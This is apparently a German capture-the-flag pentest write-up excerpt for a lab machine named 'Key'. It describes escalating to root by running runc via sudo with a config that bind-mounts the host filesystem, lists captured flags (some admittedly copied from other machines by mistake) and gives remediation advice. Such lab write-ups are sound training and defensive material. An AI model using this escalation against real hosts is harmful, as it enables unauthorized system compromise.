Proof of Concept (Privilege Escalation): `sudo runc` Container Escape

**Kurzbeschreibung:** Der Benutzer `gary` hatte `sudo`-Rechte, um `/usr/bin/runc` als `root` auszuführen. Dies wurde ausgenutzt, indem eine Standard-Container-Spezifikation (`config.json`) mittels `runc spec` erstellt wurde. Diese Spezifikation wurde dann manuell bearbeitet, um einen `bind`-Mount hinzuzufügen, der das Root-Verzeichnis (`/`) des Host-Systems in das Root-Verzeichnis (`/`) des Containers mountet. Durch Starten eines Containers mit dieser modifizierten Konfiguration (`sudo runc run `) wurde eine Shell innerhalb des Containers gestartet, die aufgrund des Mounts und der in der `config.json` definierten Root-UID/GID vollen Root-Zugriff auf das Host-Dateisystem hatte.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Erlangen einer Root-Shell auf dem Host-System.

**Schritte (Zusammenfassung):**

  1. Erstellen der Standard-Spezifikation: `sudo runc spec`.
  2. Erstellen des Root-Verzeichnisses für den Container: `mkdir rootfs`.
  3. Bearbeiten der `config.json`: Hinzufügen des `bind`-Mounts für `/` im `mounts`-Abschnitt.
  4. Starten des Containers: `sudo runc run ` (z.B. `sudo runc run root_shell`).
  5. Erlangen einer Root-Shell innerhalb des Containers mit Zugriff auf das Host-System.

**Risikobewertung:** Kritisch. Das Erlauben der Ausführung von `runc` via `sudo` für unprivilegierte Benutzer ist extrem gefährlich und führt fast zwangsläufig zu einer vollständigen Systemkompromittierung.
**Empfehlungen:** Niemals `runc` oder ähnliche Container-Runtimes über `sudo` für nicht vertrauenswürdige Benutzer erlauben.

Flags

root@internal:/home/admin# cat /home/admin/user.txt
22c15f8a6b80b178f36f3fcf5053bd82
dick@key$ cat /home/dick/user.txt
c58f5b2a916dc3287ec6901777ba7912
root@jenk:/var/lib/jenkins# cat /home/andrew/user.txt
0210bf1feef973181bfff9a28e845f71
# cat /root/root.txt
c4fe6806da41e3087eff3c01b1a98d5f

**Analyse:** Nachdem Root-Rechte über `runc` erlangt wurden, wird die Root-Flag aus `/root/root.txt` gelesen. Die User-Flag wurde bereits zuvor als Benutzer `dick` aus `/home/dick/user.txt` gelesen. (Die anderen User-Flags von 'Internal' und 'Jenk' scheinen hier versehentlich mitkopiert worden zu sein und gehören nicht zu 'Key').

**Bewertung:** User- und Root-Flags für die Maschine "Key" wurden erfolgreich gefunden und erfasst.

**Empfehlung (Pentester):** Bericht abschließen.
**Empfehlung (Admin):** Alle identifizierten Schwachstellen beheben (Redis-Fehlkonfiguration, unsichere sudo-Regeln für Perl und runc). Systemintegrität prüfen.